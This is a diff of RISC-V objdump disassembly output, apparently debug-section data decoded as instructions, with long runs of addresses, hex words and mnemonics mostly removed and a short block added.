-    16fc:	4000                	lw	s0,0(s0)
-    16fe:	4024                	lw	s1,64(s0)
-    1700:	9f25                	0x9f25
-	...
-    170a:	006a                	c.slli	zero,0x1a
-    170c:	0000                	unimp
-    170e:	007e                	c.slli	zero,0x1f
-    1710:	0000                	unimp
-    1712:	0001                	nop
-    1714:	7e5d                	lui	t3,0xffff7
-    1716:	0000                	unimp
-    1718:	c000                	sw	s0,0(s0)
-    171a:	0000                	unimp
-    171c:	0100                	addi	s0,sp,128
-    171e:	5a00                	lw	s0,48(a2)
-	...
-    1728:	009c                	addi	a5,sp,64
-    172a:	0000                	unimp
-    172c:	00b2                	slli	ra,ra,0xc
-    172e:	0000                	unimp
-    1730:	0001                	nop
-    1732:	b25f 0000 c200      	0xc2000000b25f
-    1738:	0000                	unimp
-    173a:	0100                	addi	s0,sp,128
-    173c:	5c00                	lw	s0,56(s0)
-	...
-    1746:	006a                	c.slli	zero,0x1a
-    1748:	0000                	unimp
-    174a:	0072                	c.slli	zero,0x1c
-    174c:	0000                	unimp
-    174e:	0001                	nop
-    1750:	745e                	flw	fs0,244(sp)
-    1752:	0000                	unimp
-    1754:	7a00                	flw	fs0,48(a2)
-    1756:	0000                	unimp
-    1758:	0100                	addi	s0,sp,128
-    175a:	5f00                	lw	s0,56(a4)
-    175c:	007a                	c.slli	zero,0x1e
-    175e:	0000                	unimp
-    1760:	007e                	c.slli	zero,0x1f
-    1762:	0000                	unimp
-    1764:	0008                	0x8
-    1766:	0076                	c.slli	zero,0x1d
-    1768:	2540                	fld	fs0,136(a0)
-    176a:	007e                	c.slli	zero,0x1f
-    176c:	9f21                	0x9f21
-    176e:	007e                	c.slli	zero,0x1f
-    1770:	0000                	unimp
-    1772:	009c                	addi	a5,sp,64
-    1774:	0000                	unimp
-    1776:	0001                	nop
-    1778:	005f 0000 0000      	0x5f
-    177e:	0000                	unimp
-    1780:	9200                	0x9200
-    1782:	0000                	unimp
-    1784:	9e00                	0x9e00
-    1786:	0000                	unimp
-    1788:	0100                	addi	s0,sp,128
-    178a:	5e00                	lw	s0,56(a2)
-    178c:	00a6                	slli	ra,ra,0x9
-    178e:	0000                	unimp
-    1790:	00ae                	slli	ra,ra,0xb
-    1792:	0000                	unimp
-    1794:	0001                	nop
-    1796:	0056                	c.slli	zero,0x15
-    1798:	0000                	unimp
-    179a:	0000                	unimp
-    179c:	0000                	unimp
-    179e:	7000                	flw	fs0,32(s0)
-    17a0:	0000                	unimp
-    17a2:	a600                	fsd	fs0,8(a2)
-    17a4:	0000                	unimp
-    17a6:	0100                	addi	s0,sp,128
-    17a8:	5b00                	lw	s0,48(a4)
-    17aa:	00a6                	slli	ra,ra,0x9
-    17ac:	0000                	unimp
-    17ae:	00c2                	slli	ra,ra,0x10
-    17b0:	0000                	unimp
-    17b2:	0001                	nop
-    17b4:	005d                	c.nop	23
-    17b6:	0000                	unimp
-    17b8:	0000                	unimp
-    17ba:	0000                	unimp
-    17bc:	3600                	fld	fs0,40(a2)
-    17be:	58000003          	lb	zero,1408(zero) # 580 <__stack_size-0x280>
-    17c2:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    17c6:	6000                	flw	fs0,0(s0)
-	...
-    17d0:	0336                	slli	t1,t1,0xd
-    17d2:	0000                	unimp
-    17d4:	0344                	addi	s1,sp,388
-    17d6:	0000                	unimp
-    17d8:	0010                	0x10
-    17da:	008c                	addi	a1,sp,64
-    17dc:	ff0a                	fsw	ft2,188(sp)
-    17de:	1aff                	0x1aff
-    17e0:	007e                	c.slli	zero,0x1f
-    17e2:	ff0a                	fsw	ft2,188(sp)
-    17e4:	1aff                	0x1aff
-    17e6:	2440                	fld	fs0,136(s0)
-    17e8:	9f22                	add	t5,t5,s0
-    17ea:	0344                	addi	s1,sp,388
-    17ec:	0000                	unimp
-    17ee:	034a                	slli	t1,t1,0x12
-    17f0:	0000                	unimp
-    17f2:	0015                	c.nop	5
-    17f4:	008c                	addi	a1,sp,64
-    17f6:	ff0a                	fsw	ft2,188(sp)
-    17f8:	1aff                	0x1aff
-    17fa:	008c                	addi	a1,sp,64
-    17fc:	2540                	fld	fs0,136(a0)
-    17fe:	0076                	c.slli	zero,0x1d
-    1800:	0a22                	slli	s4,s4,0x8
-    1802:	ffff                	0xffff
-    1804:	401a                	0x401a
-    1806:	2224                	fld	fs1,64(a2)
-    1808:	009f 0000 0000      	0x9f
-    180e:	0000                	unimp
-    1810:	9000                	0x9000
-    1812:	0002                	c.slli64	zero
-    1814:	f800                	fsw	fs0,48(s0)
-    1816:	0002                	c.slli64	zero
-    1818:	0100                	addi	s0,sp,128
-    181a:	6d00                	flw	fs0,24(a0)
-    181c:	02f8                	addi	a4,sp,332
-    181e:	0000                	unimp
-    1820:	0306                	slli	t1,t1,0x1
-    1822:	0000                	unimp
-    1824:	0005                	c.nop	1
-    1826:	0080                	addi	s0,sp,64
-    1828:	2540                	fld	fs0,136(a0)
-    182a:	009f 0000 0000      	0x9f
-    1830:	0000                	unimp
-    1832:	9600                	0x9600
-    1834:	0002                	c.slli64	zero
-    1836:	d600                	sw	s0,40(a2)
-    1838:	0002                	c.slli64	zero
-    183a:	0100                	addi	s0,sp,128
-    183c:	5f00                	lw	s0,56(a4)
-    183e:	02d6                	slli	t0,t0,0x15
-    1840:	0000                	unimp
-    1842:	0306                	slli	t1,t1,0x1
-    1844:	0000                	unimp
-    1846:	00800007          	0x800007
-    184a:	2440                	fld	fs0,136(s0)
-    184c:	2540                	fld	fs0,136(a0)
-    184e:	009f 0000 0000      	0x9f
-    1854:	0000                	unimp
-    1856:	9e00                	0x9e00
-    1858:	0002                	c.slli64	zero
-    185a:	b200                	fsd	fs0,32(a2)
-    185c:	0002                	c.slli64	zero
-    185e:	0100                	addi	s0,sp,128
-    1860:	5600                	lw	s0,40(a2)
-    1862:	02b2                	slli	t0,t0,0xc
-    1864:	0000                	unimp
-    1866:	02f6                	slli	t0,t0,0x1d
-    1868:	0000                	unimp
-    186a:	0001                	nop
-    186c:	005a                	c.slli	zero,0x16
-    186e:	0000                	unimp
-    1870:	0000                	unimp
-    1872:	0000                	unimp
-    1874:	cc00                	sw	s0,24(s0)
-    1876:	0002                	c.slli64	zero
-    1878:	e600                	fsw	fs0,8(a2)
-    187a:	0002                	c.slli64	zero
-    187c:	0100                	addi	s0,sp,128
-    187e:	5e00                	lw	s0,56(a2)
-    1880:	02e6                	slli	t0,t0,0x19
-    1882:	0000                	unimp
-    1884:	0302                	c.slli64	t1
-    1886:	0000                	unimp
-    1888:	0001                	nop
-    188a:	005c                	addi	a5,sp,4
-    188c:	0000                	unimp
-    188e:	0000                	unimp
-    1890:	0000                	unimp
-    1892:	9600                	0x9600
-    1894:	0002                	c.slli64	zero
-    1896:	a000                	fsd	fs0,0(s0)
-    1898:	0002                	c.slli64	zero
-    189a:	0100                	addi	s0,sp,128
-    189c:	5d00                	lw	s0,56(a0)
-    189e:	02a6                	slli	t0,t0,0x9
-    18a0:	0000                	unimp
-    18a2:	02ae                	slli	t0,t0,0xb
-    18a4:	0000                	unimp
-    18a6:	0001                	nop
-    18a8:	ae5e                	fsd	fs7,280(sp)
-    18aa:	0002                	c.slli64	zero
-    18ac:	b200                	fsd	fs0,32(a2)
-    18ae:	0002                	c.slli64	zero
-    18b0:	0800                	addi	s0,sp,16
-    18b2:	7c00                	flw	fs0,56(s0)
-    18b4:	4000                	lw	s0,0(s0)
-    18b6:	7d25                	lui	s10,0xfffe9
-    18b8:	2100                	fld	fs0,0(a0)
-    18ba:	b29f 0002 cc00      	0xcc000002b29f
-    18c0:	0002                	c.slli64	zero
-    18c2:	0100                	addi	s0,sp,128
-    18c4:	5e00                	lw	s0,56(a2)
-	...
-    18ce:	02c8                	addi	a0,sp,324
-    18d0:	0000                	unimp
-    18d2:	02ce                	slli	t0,t0,0x13
-    18d4:	0000                	unimp
-    18d6:	0001                	nop
-    18d8:	da5d                	beqz	a2,188e <__stack_size+0x108e>
-    18da:	0002                	c.slli64	zero
-    18dc:	e200                	fsw	fs0,0(a2)
-    18de:	0002                	c.slli64	zero
-    18e0:	0100                	addi	s0,sp,128
-    18e2:	5f00                	lw	s0,56(a4)
-    18e4:	02e6                	slli	t0,t0,0x19
-    18e6:	0000                	unimp
-    18e8:	0340                	addi	s0,sp,388
-    18ea:	0000                	unimp
-    18ec:	0001                	nop
-    18ee:	005f 0000 0000      	0x5f
-    18f4:	0000                	unimp
-    18f6:	a600                	fsd	fs0,8(a2)
-    18f8:	0002                	c.slli64	zero
-    18fa:	d200                	sw	s0,32(a2)
-    18fc:	0002                	c.slli64	zero
-    18fe:	0100                	addi	s0,sp,128
-    1900:	6e00                	flw	fs0,24(a2)
-    1902:	02d2                	slli	t0,t0,0x14
-    1904:	0000                	unimp
-    1906:	030e                	slli	t1,t1,0x3
-    1908:	0000                	unimp
-    190a:	0001                	nop
-    190c:	0056                	c.slli	zero,0x15
-    190e:	0000                	unimp
-    1910:	0000                	unimp
-    1912:	0000                	unimp
-    1914:	1600                	addi	s0,sp,800
-    1916:	4a000003          	lb	zero,1184(zero) # 4a0 <__stack_size-0x360>
-    191a:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    191e:	6c00                	flw	fs0,24(s0)
-	...
-    1928:	0316                	slli	t1,t1,0x5
-    192a:	0000                	unimp
-    192c:	0322                	slli	t1,t1,0x8
-    192e:	0000                	unimp
-    1930:	0006                	c.slli	zero,0x1
-    1932:	0076                	c.slli	zero,0x1d
-    1934:	007c                	addi	a5,sp,12
-    1936:	9f1e                	add	t5,t5,t2
-    1938:	0322                	slli	t1,t1,0x8
-    193a:	0000                	unimp
-    193c:	0324                	addi	s1,sp,392
-    193e:	0000                	unimp
-    1940:	0001                	nop
-    1942:	2456                	fld	fs0,336(sp)
-    1944:	2a000003          	lb	zero,672(zero) # 2a0 <__stack_size-0x560>
-    1948:	09000003          	lb	zero,144(zero) # 90 <__stack_size-0x770>
-    194c:	8d00                	0x8d00
-    194e:	7a7f                	0x7a7f
-    1950:	1a00                	addi	s0,sp,304
-    1952:	007c                	addi	a5,sp,12
-    1954:	9f1e                	add	t5,t5,t2
-    1956:	032a                	slli	t1,t1,0xa
-    1958:	0000                	unimp
-    195a:	0344                	addi	s1,sp,388
-    195c:	0000                	unimp
-    195e:	0001                	nop
-    1960:	445e                	lw	s0,212(sp)
-    1962:	4a000003          	lb	zero,1184(zero) # 4a0 <__stack_size-0x360>
-    1966:	08000003          	lb	zero,128(zero) # 80 <__stack_size-0x780>
-    196a:	8c00                	0x8c00
-    196c:	4000                	lw	s0,0(s0)
-    196e:	7625                	lui	a2,0xfffe9
-    1970:	2200                	fld	fs0,0(a2)
-    1972:	009f 0000 0000      	0x9f
-    1978:	0000                	unimp
-    197a:	1a00                	addi	s0,sp,304
-    197c:	34000003          	lb	zero,832(zero) # 340 <__stack_size-0x4c0>
-    1980:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1984:	5d00                	lw	s0,56(a0)
-	...
-    198e:	032a                	slli	t1,t1,0xa
-    1990:	0000                	unimp
-    1992:	0336                	slli	t1,t1,0xd
-    1994:	0000                	unimp
-    1996:	0001                	nop
-    1998:	0060                	addi	s0,sp,12
-    199a:	0000                	unimp
-    199c:	0000                	unimp
-    199e:	0000                	unimp
-    19a0:	0e00                	addi	s0,sp,784
-    19a2:	22000003          	lb	zero,544(zero) # 220 <__stack_size-0x5e0>
-    19a6:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    19aa:	5600                	lw	s0,40(a2)
-    19ac:	0322                	slli	t1,t1,0x8
-    19ae:	0000                	unimp
-    19b0:	0342                	slli	t1,t1,0x10
-    19b2:	0000                	unimp
-    19b4:	0006                	c.slli	zero,0x1
-    19b6:	7f8d                	lui	t6,0xfffe3
-    19b8:	007a                	c.slli	zero,0x1e
-    19ba:	9f1a                	add	t5,t5,t1
-    19bc:	0342                	slli	t1,t1,0x10
-    19be:	0000                	unimp
-    19c0:	0356                	slli	t1,t1,0x15
-    19c2:	0000                	unimp
-    19c4:	0006                	c.slli	zero,0x1
-    19c6:	007a                	c.slli	zero,0x1e
-    19c8:	007f                	0x7f
-    19ca:	9f1a                	add	t5,t5,t1
-    19cc:	0356                	slli	t1,t1,0x15
-    19ce:	0000                	unimp
-    19d0:	0358                	addi	a4,sp,388
-    19d2:	0000                	unimp
-    19d4:	0006                	c.slli	zero,0x1
-    19d6:	7f8d                	lui	t6,0xfffe3
-    19d8:	007a                	c.slli	zero,0x1e
-    19da:	9f1a                	add	t5,t5,t1
-    19dc:	0358                	addi	a4,sp,388
-    19de:	0000                	unimp
-    19e0:	035a                	slli	t1,t1,0x16
-    19e2:	0000                	unimp
-    19e4:	0006                	c.slli	zero,0x1
-    19e6:	017a                	slli	sp,sp,0x1e
-    19e8:	7f8d                	lui	t6,0xfffe3
-    19ea:	9f1a                	add	t5,t5,t1
-	...
-    19f4:	0312                	slli	t1,t1,0x4
-    19f6:	0000                	unimp
-    19f8:	031a                	slli	t1,t1,0x6
-    19fa:	0000                	unimp
-    19fc:	0001                	nop
-    19fe:	005d                	c.nop	23
-    1a00:	0000                	unimp
-    1a02:	0000                	unimp
-    1a04:	0000                	unimp
-    1a06:	0e00                	addi	s0,sp,784
-    1a08:	2a000003          	lb	zero,672(zero) # 2a0 <__stack_size-0x560>
-    1a0c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    1a10:	6000                	flw	fs0,0(s0)
-    1a12:	032a                	slli	t1,t1,0xa
-    1a14:	0000                	unimp
-    1a16:	0358                	addi	a4,sp,388
-    1a18:	0000                	unimp
-    1a1a:	0005                	c.nop	1
-    1a1c:	007a                	c.slli	zero,0x1e
-    1a1e:	2540                	fld	fs0,136(a0)
-    1a20:	589f 0003 5a00      	0x5a000003589f
-    1a26:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    1a2a:	7a00                	flw	fs0,48(a2)
-    1a2c:	4001                	c.li	zero,0
-    1a2e:	9f25                	0x9f25
-	...
-    1a38:	0312                	slli	t1,t1,0x4
-    1a3a:	0000                	unimp
-    1a3c:	035a                	slli	t1,t1,0x16
-    1a3e:	0000                	unimp
-    1a40:	0001                	nop
-    1a42:	005c                	addi	a5,sp,4
-    1a44:	0000                	unimp
-    1a46:	0000                	unimp
-    1a48:	0000                	unimp
-    1a4a:	dc00                	sw	s0,56(s0)
-    1a4c:	0000                	unimp
-    1a4e:	7a00                	flw	fs0,48(a2)
-    1a50:	0001                	nop
-    1a52:	0100                	addi	s0,sp,128
-    1a54:	6000                	flw	fs0,0(s0)
-    1a56:	017c                	addi	a5,sp,140
-    1a58:	0000                	unimp
-    1a5a:	018a                	slli	gp,gp,0x2
-    1a5c:	0000                	unimp
-    1a5e:	0001                	nop
-    1a60:	8a60                	0x8a60
-    1a62:	0001                	nop
-    1a64:	8e00                	0x8e00
-    1a66:	0001                	nop
-    1a68:	0900                	addi	s0,sp,144
-    1a6a:	8000                	0x8000
-    1a6c:	7d00                	flw	fs0,56(a0)
-    1a6e:	0800                	addi	s0,sp,16
-    1a70:	1aff                	0x1aff
-    1a72:	9f24                	0x9f24
-    1a74:	018e                	slli	gp,gp,0x3
-    1a76:	0000                	unimp
-    1a78:	0216                	slli	tp,tp,0x5
-    1a7a:	0000                	unimp
-    1a7c:	0001                	nop
-    1a7e:	0060                	addi	s0,sp,12
-    1a80:	0000                	unimp
-    1a82:	0000                	unimp
-    1a84:	0000                	unimp
-    1a86:	ec00                	fsw	fs0,24(s0)
-    1a88:	0000                	unimp
-    1a8a:	0a00                	addi	s0,sp,272
-    1a8c:	0001                	nop
-    1a8e:	0100                	addi	s0,sp,128
-    1a90:	5a00                	lw	s0,48(a2)
-    1a92:	018a                	slli	gp,gp,0x2
-    1a94:	0000                	unimp
-    1a96:	0192                	slli	gp,gp,0x4
-    1a98:	0000                	unimp
-    1a9a:	0001                	nop
-    1a9c:	005a                	c.slli	zero,0x16
-    1a9e:	0000                	unimp
-    1aa0:	0000                	unimp
-    1aa2:	0000                	unimp
-    1aa4:	0e00                	addi	s0,sp,784
-    1aa6:	0001                	nop
-    1aa8:	7a00                	flw	fs0,48(a2)
-    1aaa:	0001                	nop
-    1aac:	0100                	addi	s0,sp,128
-    1aae:	6100                	flw	fs0,0(a0)
-	...
-    1ab8:	0114                	addi	a3,sp,128
-    1aba:	0000                	unimp
-    1abc:	0160                	addi	s0,sp,140
-    1abe:	0000                	unimp
-    1ac0:	0001                	nop
-    1ac2:	605c                	flw	fa5,4(s0)
-    1ac4:	0001                	nop
-    1ac6:	7a00                	flw	fs0,48(a2)
-    1ac8:	0001                	nop
-    1aca:	0700                	addi	s0,sp,896
-    1acc:	8000                	0x8000
-    1ace:	4000                	lw	s0,0(s0)
-    1ad0:	4024                	lw	s1,64(s0)
-    1ad2:	9f25                	0x9f25
-	...
-    1adc:	0120                	addi	s0,sp,136
-    1ade:	0000                	unimp
-    1ae0:	0134                	addi	a3,sp,136
-    1ae2:	0000                	unimp
-    1ae4:	0001                	nop
-    1ae6:	345f 0001 7800      	0x78000001345f
-    1aec:	0001                	nop
-    1aee:	0100                	addi	s0,sp,128
-    1af0:	5a00                	lw	s0,48(a2)
-	...
-    1afa:	0154                	addi	a3,sp,132
-    1afc:	0000                	unimp
-    1afe:	016a                	slli	sp,sp,0x1a
-    1b00:	0000                	unimp
-    1b02:	0001                	nop
-    1b04:	6a5e                	flw	fs4,212(sp)
-    1b06:	0001                	nop
-    1b08:	7a00                	flw	fs0,48(a2)
-    1b0a:	0001                	nop
-    1b0c:	0100                	addi	s0,sp,128
-    1b0e:	5c00                	lw	s0,56(s0)
-	...
-    1b18:	011c                	addi	a5,sp,128
-    1b1a:	0000                	unimp
-    1b1c:	0122                	slli	sp,sp,0x8
-    1b1e:	0000                	unimp
-    1b20:	0001                	nop
-    1b22:	285d                	jal	1bd8 <__stack_size+0x13d8>
-    1b24:	0001                	nop
-    1b26:	3000                	fld	fs0,32(s0)
-    1b28:	0001                	nop
-    1b2a:	0100                	addi	s0,sp,128
-    1b2c:	5e00                	lw	s0,56(a2)
-    1b2e:	0130                	addi	a2,sp,136
-    1b30:	0000                	unimp
-    1b32:	0134                	addi	a3,sp,136
-    1b34:	0000                	unimp
-    1b36:	0008                	0x8
-    1b38:	0076                	c.slli	zero,0x1d
-    1b3a:	2540                	fld	fs0,136(a0)
-    1b3c:	007d                	c.nop	31
-    1b3e:	9f21                	0x9f21
-    1b40:	0134                	addi	a3,sp,136
-    1b42:	0000                	unimp
-    1b44:	0154                	addi	a3,sp,132
-    1b46:	0000                	unimp
-    1b48:	0001                	nop
-    1b4a:	005e                	c.slli	zero,0x17
-    1b4c:	0000                	unimp
-    1b4e:	0000                	unimp
-    1b50:	0000                	unimp
-    1b52:	4a00                	lw	s0,16(a2)
-    1b54:	0001                	nop
-    1b56:	5600                	lw	s0,40(a2)
-    1b58:	0001                	nop
-    1b5a:	0100                	addi	s0,sp,128
-    1b5c:	5f00                	lw	s0,56(a4)
-    1b5e:	015e                	slli	sp,sp,0x17
-    1b60:	0000                	unimp
-    1b62:	0166                	slli	sp,sp,0x19
-    1b64:	0000                	unimp
-    1b66:	0001                	nop
-    1b68:	0056                	c.slli	zero,0x15
-    1b6a:	0000                	unimp
-    1b6c:	0000                	unimp
-    1b6e:	0000                	unimp
-    1b70:	2800                	fld	fs0,16(s0)
-    1b72:	0001                	nop
-    1b74:	5e00                	lw	s0,56(a2)
-    1b76:	0001                	nop
-    1b78:	0100                	addi	s0,sp,128
-    1b7a:	6c00                	flw	fs0,24(s0)
-    1b7c:	015e                	slli	sp,sp,0x17
-    1b7e:	0000                	unimp
-    1b80:	017a                	slli	sp,sp,0x1e
-    1b82:	0000                	unimp
-    1b84:	0001                	nop
-    1b86:	005d                	c.nop	23
-    1b88:	0000                	unimp
-    1b8a:	0000                	unimp
-    1b8c:	0000                	unimp
-    1b8e:	a600                	fsd	fs0,8(a2)
-    1b90:	0001                	nop
-    1b92:	1600                	addi	s0,sp,800
-    1b94:	0002                	c.slli64	zero
-    1b96:	0100                	addi	s0,sp,128
-    1b98:	6100                	flw	fs0,0(a0)
-	...
-    1ba2:	01b0                	addi	a2,sp,200
-    1ba4:	0000                	unimp
-    1ba6:	01f4                	addi	a3,sp,204
-    1ba8:	0000                	unimp
-    1baa:	0001                	nop
-    1bac:	f45f 0001 1600      	0x16000001f45f
-    1bb2:	0002                	c.slli64	zero
-    1bb4:	0700                	addi	s0,sp,896
-    1bb6:	8000                	0x8000
-    1bb8:	4000                	lw	s0,0(s0)
-    1bba:	4024                	lw	s1,64(s0)
-    1bbc:	9f25                	0x9f25
-	...
-    1bc6:	01b8                	addi	a4,sp,200
-    1bc8:	0000                	unimp
-    1bca:	01cc                	addi	a1,sp,196
-    1bcc:	0000                	unimp
-    1bce:	0001                	nop
-    1bd0:	cc5a                	sw	s6,24(sp)
-    1bd2:	0001                	nop
-    1bd4:	1000                	addi	s0,sp,32
-    1bd6:	0002                	c.slli64	zero
-    1bd8:	0100                	addi	s0,sp,128
-    1bda:	5b00                	lw	s0,48(a4)
-	...
-    1be4:	01ea                	slli	gp,gp,0x1a
-    1be6:	0000                	unimp
-    1be8:	0200                	addi	s0,sp,256
-    1bea:	0000                	unimp
-    1bec:	0001                	nop
-    1bee:	005d                	c.nop	23
-    1bf0:	0002                	c.slli64	zero
-    1bf2:	1600                	addi	s0,sp,800
-    1bf4:	0002                	c.slli64	zero
-    1bf6:	0100                	addi	s0,sp,128
-    1bf8:	5e00                	lw	s0,56(a2)
-	...
-    1c02:	01b0                	addi	a2,sp,200
-    1c04:	0000                	unimp
-    1c06:	01ba                	slli	gp,gp,0xe
-    1c08:	0000                	unimp
-    1c0a:	0001                	nop
-    1c0c:	c05e                	sw	s7,0(sp)
-    1c0e:	0001                	nop
-    1c10:	c800                	sw	s0,16(s0)
-    1c12:	0001                	nop
-    1c14:	0100                	addi	s0,sp,128
-    1c16:	5e00                	lw	s0,56(a2)
-    1c18:	01cc                	addi	a1,sp,196
-    1c1a:	0000                	unimp
-    1c1c:	01de                	slli	gp,gp,0x17
-    1c1e:	0000                	unimp
-    1c20:	0001                	nop
-    1c22:	de5e                	sw	s7,60(sp)
-    1c24:	0001                	nop
-    1c26:	ea00                	fsw	fs0,16(a2)
-    1c28:	0001                	nop
-    1c2a:	0100                	addi	s0,sp,128
-    1c2c:	5d00                	lw	s0,56(a0)
-	...
-    1c36:	01e2                	slli	gp,gp,0x18
-    1c38:	0000                	unimp
-    1c3a:	01ec                	addi	a1,sp,204
-    1c3c:	0000                	unimp
-    1c3e:	0001                	nop
-    1c40:	f45e                	fsw	fs7,40(sp)
-    1c42:	0001                	nop
-    1c44:	fc00                	fsw	fs0,56(s0)
-    1c46:	0001                	nop
-    1c48:	0100                	addi	s0,sp,128
-    1c4a:	5f00                	lw	s0,56(a4)
-    1c4c:	0200                	addi	s0,sp,256
-    1c4e:	0000                	unimp
-    1c50:	0216                	slli	tp,tp,0x5
-    1c52:	0000                	unimp
-    1c54:	0001                	nop
-    1c56:	005f 0000 0000      	0x5f
-    1c5c:	0000                	unimp
-    1c5e:	c000                	sw	s0,0(s0)
-    1c60:	0001                	nop
-    1c62:	de00                	sw	s0,56(a2)
-    1c64:	0001                	nop
-    1c66:	0100                	addi	s0,sp,128
-    1c68:	5d00                	lw	s0,56(a0)
-    1c6a:	01de                	slli	gp,gp,0x17
-    1c6c:	0000                	unimp
-    1c6e:	01f0                	addi	a2,sp,204
-    1c70:	0000                	unimp
-    1c72:	0006                	c.slli	zero,0x1
-    1c74:	007f                	0x7f
-    1c76:	007a                	c.slli	zero,0x1e
-    1c78:	9f1e                	add	t5,t5,t2
-    1c7a:	01f0                	addi	a2,sp,204
-    1c7c:	0000                	unimp
-    1c7e:	0216                	slli	tp,tp,0x5
-    1c80:	0000                	unimp
-    1c82:	0001                	nop
-    1c84:	005a                	c.slli	zero,0x16
-    1c86:	0000                	unimp
-    1c88:	0000                	unimp
-    1c8a:	0000                	unimp
-    1c8c:	1a00                	addi	s0,sp,304
-    1c8e:	0002                	c.slli64	zero
-    1c90:	2e00                	fld	fs0,24(a2)
-    1c92:	0002                	c.slli64	zero
-    1c94:	0100                	addi	s0,sp,128
-    1c96:	5a00                	lw	s0,48(a2)
-    1c98:	022e                	slli	tp,tp,0xb
-    1c9a:	0000                	unimp
-    1c9c:	025a                	slli	tp,tp,0x16
-    1c9e:	0000                	unimp
-    1ca0:	0001                	nop
-    1ca2:	5a5d                	li	s4,-9
-    1ca4:	0002                	c.slli64	zero
-    1ca6:	6800                	flw	fs0,16(s0)
-    1ca8:	0002                	c.slli64	zero
-    1caa:	0100                	addi	s0,sp,128
-    1cac:	5a00                	lw	s0,48(a2)
-    1cae:	0268                	addi	a0,sp,268
-    1cb0:	0000                	unimp
-    1cb2:	0270                	addi	a2,sp,268
-    1cb4:	0000                	unimp
-    1cb6:	0001                	nop
-    1cb8:	005d                	c.nop	23
-    1cba:	0000                	unimp
-    1cbc:	0000                	unimp
-    1cbe:	0000                	unimp
-    1cc0:	2a00                	fld	fs0,16(a2)
-    1cc2:	0002                	c.slli64	zero
-    1cc4:	4600                	lw	s0,8(a2)
-    1cc6:	0002                	c.slli64	zero
-    1cc8:	0100                	addi	s0,sp,128
-    1cca:	5b00                	lw	s0,48(a4)
+   0:	19b6                	slli	s3,s3,0x2d
+   2:	2040                	fld	fs0,128(s0)
+   4:	1a22                	slli	s4,s4,0x28
+   6:	2040                	fld	fs0,128(s0)
+   8:	0001                	nop
+   a:	3058                	fld	fa4,160(s0)
+   c:	401a                	0x401a
+   e:	4620                	lw	s0,72(a2)
+  10:	401a                	0x401a
+  12:	0120                	addi	s0,sp,136
+  14:	5800                	lw	s0,48(s0)
 	...
-    1cd8:	0054                	addi	a3,sp,4
-    1cda:	0000                	unimp
-    1cdc:	0006                	c.slli	zero,0x1
-    1cde:	935a                	add	t1,t1,s6
-    1ce0:	5b04                	lw	s1,48(a4)
-    1ce2:	00540493          	addi	s1,s0,5 # 17005 <__stack_size+0x16805>
-    1ce6:	0000                	unimp
-    1ce8:	00b2                	slli	ra,ra,0xc
-    1cea:	0000                	unimp
-    1cec:	0006                	c.slli	zero,0x1
-    1cee:	0af503f3          	0xaf503f3
-    1cf2:	9f25                	0x9f25
-    1cf4:	00b2                	slli	ra,ra,0xc
-    1cf6:	0000                	unimp
-    1cf8:	00f4                	addi	a3,sp,76
-    1cfa:	0000                	unimp
-    1cfc:	0006                	c.slli	zero,0x1
-    1cfe:	935a                	add	t1,t1,s6
-    1d00:	5b04                	lw	s1,48(a4)
-    1d02:	00f40493          	addi	s1,s0,15
-    1d06:	0000                	unimp
-    1d08:	0150                	addi	a2,sp,132
-    1d0a:	0000                	unimp
-    1d0c:	0006                	c.slli	zero,0x1
-    1d0e:	0af503f3          	0xaf503f3
-    1d12:	9f25                	0x9f25
-    1d14:	0150                	addi	a2,sp,132
-    1d16:	0000                	unimp
-    1d18:	0182                	c.slli64	gp
-    1d1a:	0000                	unimp
-    1d1c:	0006                	c.slli	zero,0x1
-    1d1e:	935a                	add	t1,t1,s6
-    1d20:	5b04                	lw	s1,48(a4)
-    1d22:	01820493          	addi	s1,tp,24 # 18 <__stack_size-0x7e8>
-    1d26:	0000                	unimp
-    1d28:	01d2                	slli	gp,gp,0x14
-    1d2a:	0000                	unimp
-    1d2c:	0006                	c.slli	zero,0x1
-    1d2e:	0af503f3          	0xaf503f3
-    1d32:	9f25                	0x9f25
-    1d34:	01d2                	slli	gp,gp,0x14
-    1d36:	0000                	unimp
-    1d38:	0212                	slli	tp,tp,0x4
-    1d3a:	0000                	unimp
-    1d3c:	0006                	c.slli	zero,0x1
-    1d3e:	935a                	add	t1,t1,s6
-    1d40:	5b04                	lw	s1,48(a4)
-    1d42:	02120493          	addi	s1,tp,33 # 21 <__stack_size-0x7df>
-    1d46:	0000                	unimp
-    1d48:	0220                	addi	s0,sp,264
-    1d4a:	0000                	unimp
-    1d4c:	0006                	c.slli	zero,0x1
-    1d4e:	0af503f3          	0xaf503f3
-    1d52:	9f25                	0x9f25
-    1d54:	0220                	addi	s0,sp,264
-    1d56:	0000                	unimp
-    1d58:	025e                	slli	tp,tp,0x17
-    1d5a:	0000                	unimp
-    1d5c:	0006                	c.slli	zero,0x1
-    1d5e:	935a                	add	t1,t1,s6
-    1d60:	5b04                	lw	s1,48(a4)
-    1d62:	025e0493          	addi	s1,t3,37 # ffff7025 <_heap_end+0x7ffe8825>
-    1d66:	0000                	unimp
-    1d68:	0340                	addi	s0,sp,388
-    1d6a:	0000                	unimp
-    1d6c:	0006                	c.slli	zero,0x1
-    1d6e:	0af503f3          	0xaf503f3
-    1d72:	9f25                	0x9f25
+  1e:	19b8                	addi	a4,sp,248
+  20:	2040                	fld	fs0,128(s0)
+  22:	19ee                	slli	s3,s3,0x3b
+  24:	2040                	fld	fs0,128(s0)
+  26:	0002                	c.slli64	zero
+  28:	9f30                	0x9f30
+  2a:	19ee                	slli	s3,s3,0x3b
+  2c:	2040                	fld	fs0,128(s0)
+  2e:	1a30                	addi	a2,sp,312
+  30:	2040                	fld	fs0,128(s0)
+  32:	0001                	nop
+  34:	0059                	c.nop	22
+  36:	0000                	unimp
+  38:	0000                	unimp
+  3a:	0000                	unimp
+  3c:	7a00                	flw	fs0,48(a2)
+  3e:	401a                	0x401a
+  40:	4a20                	lw	s0,80(a2)
+  42:	0120401b          	0x120401b
+  46:	5900                	lw	s0,48(a0)
+  48:	1b7c                	addi	a5,sp,444
+  4a:	2040                	fld	fs0,128(s0)
+  4c:	1ce2                	slli	s9,s9,0x38
